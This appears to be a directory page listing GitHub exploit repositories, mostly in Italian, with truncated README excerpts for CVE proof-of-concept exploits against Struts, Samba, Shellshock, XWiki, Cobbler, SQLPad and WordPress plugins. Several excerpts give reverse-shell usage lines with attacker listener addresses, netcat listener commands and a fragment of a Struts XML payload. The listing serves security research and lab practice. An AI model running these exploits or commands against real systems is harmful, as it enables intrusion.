gonc

Introduzione a gonc README in 中文 、 English gonc è uno strumento netcat basato su Golang progettato per facilitare la comunicazione peer-to-peer. Le sue caratteristiche principali includono: 🔁 NAT Traversal automatizzato : Configurazione zero. Entrambe le parti devono solo concordare una passphras...

CVE-2026-5059-poc

Dov'è CVE-2026-5059 nel codice? La vulnerabilità risiede in due file che lavorano insieme: File 1: tools.py — La causa principale La vecchia versione utilizzava shell=True in executepipedcommand: python OLD VULNERABLE CODE process = subprocess.run command, ← raw string passed to shell shell=True,...

S2-052

CVE-2017-9805 （S2-052）Exploit di Reverse Shell Versioni interessate Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 PoC Content-Type: application/xml 0 false 0 calc false java.lang.ProcessBuilder start foo foo false 0 0 false false 0 jdk.nashorn.internal.obj...

CVE-2007-2447

CVE-2007-2447 Per testare lo script, ti consiglio la macchina virtuale "metasploitable 2" disponibile qui. Lo script mostrerà una reverse shell se l'exploit funziona. Per ottenere la connessione, basta aprire una sessione netcat come: netcat -lnvp Indice Esempi Requisiti Payloads Esempi py...

cgi-bin-shellshock

Come usare Clona il repository oppure copia-incolla quello che preferisci sudo git clone https://github.com/Gurguii/shellshock.sh Esegui lo script Bash bash shellshock.sh -u -h -p Python python3 shellshock.py -u -lh -lp Nota: la LPORT predefinita è 4444, URL obbligatorio. Se viene fornito solo...

CVE-2025-24893-Reverse-Shell

CVE-2025-24893 - Exploit di Esecuzione di Codice Remoto in XWiki PoC per CVE-2025-24893 – Esecuzione di Codice Remoto tramite Macro in XWiki Ispirato dal PoC originale di Artemir Descrizione Questo è un exploit Proof-of-Concept PoC per CVE-2025-24893 , una vulnerabilità di Esecuzione di Codice...

CVE-2025-55182

CVE-2025-55182 Questo repository contiene la documentazione relativa alla vulnerabilità CVE-2025-55182 React2Shell La documentazione è disponibile: come sito web: https://memergamer.github.io/CVE-2025-55182/ come PDF main.pdf: https://github.com/MemerGamer/CVE-2025-55182/releases...

bugstropics

A caccia di bug ai Tropici Questa è una repository con le slide usate nella mia presentazione "Hunting Bugs in the Tropics" al DEFCON30. Include lo script Python usato per calcolare la password di supporto basata sulla chiave privata ottenuta violando la chiave pubblica EC del supporto Aruba, a...

gerapy-cve-2021-43857

Gerapy CVE-2021-43857 RCE autenticata Questo repository contiene un proof of concept per CVE-2021-43857 , una vulnerabilità di esecuzione di codice in remoto che affligge Gerapy -p -L -P Requisiti 1. Python 3.x 2. requests e pyfiglet pip install requests pyfiglet 3. Netcat nc...

PoC-Deployer-System

PoC-Deployer-System !License: MIThttps://img.shields.io/b...

CVE-2020-0910

CVE-2020-0910 Funktionierender Exploit-PoC CVE-2020-0910 - Reverse-Bind-Shell Getestet mit Python2.7 Installation: pip install -r requirements.txt Ausführen: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

shellshock

shellshock script associati alla vulnerabilità di parsing della funzione EVN della Bourne shell CVE-2014-6271 dhcpmon.py - Questo script monitora i frame DHCP per individuare caratteri potenzialmente dannosi nei campi di risposta BOOTP e DHCP...

CVE-2024-47533-PoC

CVE-2024-47533 – Bypass autenticazione Cobbler XMLRPC → Reverse Shell RCE non autenticato 📌 Riepilogo Questo repository contiene un exploit Proof-of-Concept PoC per CVE-2024-47533 , un bypass critico dell'autenticazione nell'API XMLRPC di Cobbler che porta a esecuzione remota di codice RCE non...

CVE-2024-29510

Original research and POC code: https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/ NOTA: non ho apportato modifiche al POC a parte il comando eseguito. Tutto il merito va a Thomas Rinsma @ Codean Labs per la loro fantastica ricerca e POC. Scenario Locale 1...

CVE-2015-8351

gwollebuster questo script è un exploit per il vecchio plugin gwolle di WordPress uso: ./gwollebuster.py primo argomento = l'URL del tuo target WordPress con gwolle installato secondo argomento = il tuo IP terzo argomento = porta in ascolto per la reverse shell esempio: ./gwollebuster.py...

CVE-2024-52402

🚀 Exploit per CVE-2024-52402: Plugin WordPress Exclusive Content Password Protect -un -p 🛠️ Opzioni usage: CVE-2024-52402.py -h -u URL -un USERNAME -p PASSWORD Exploit for ECVE-2024-52402 By | Nxploit, Khaled ALenazi options: -h, --help show this help message and exit -u, --url URL Target WordPres...

usbhijacking

CVE-2017-8464 PoC Windows Shell in Microsoft Windows Server 2008 SP2 e R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold e R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, 1703 e Windows Server 2016 consente a utenti locali o aggressori remoti di eseguire codice arbitrario...

CVE-2023-46818

CVE-2023-46818 PoC Questa è un'implementazione Python del PoC fornito da Egidio Romano aka EgiX Qui, questo exploit ti mostrerà una webshell; per una shell completamente interattiva esegui un comando e inviati una reverse shell. Utilizzo python exploit.py http://localhost username password...

CVE-2022-0944_RCE_POC

CVE-2022-0944 Proof of concept di exploit per SQLPad RCE CVE-2022-0944 che porta a una RCE con una reverse shell sul PC dell'attaccante. Utilizzo usage: script.py URL IP PORT positional arguments: URL URL to SQLPad IP Listener host address for reverse shell PORT Listener port for reverse shell...

metasploitable2-vsftpd-exploitation

Metasploitable 2 - Laboratorio di sfruttamento di vsFTPd 2.3.4 Panoramica Questo progetto mostra un flusso di lavoro di penetration testing contro una macchina volutamente vulnerabile, Metasploitable 2. L'obiettivo era identificare, sfruttare e analizzare una vulnerabilità nota nel servizio FTP,...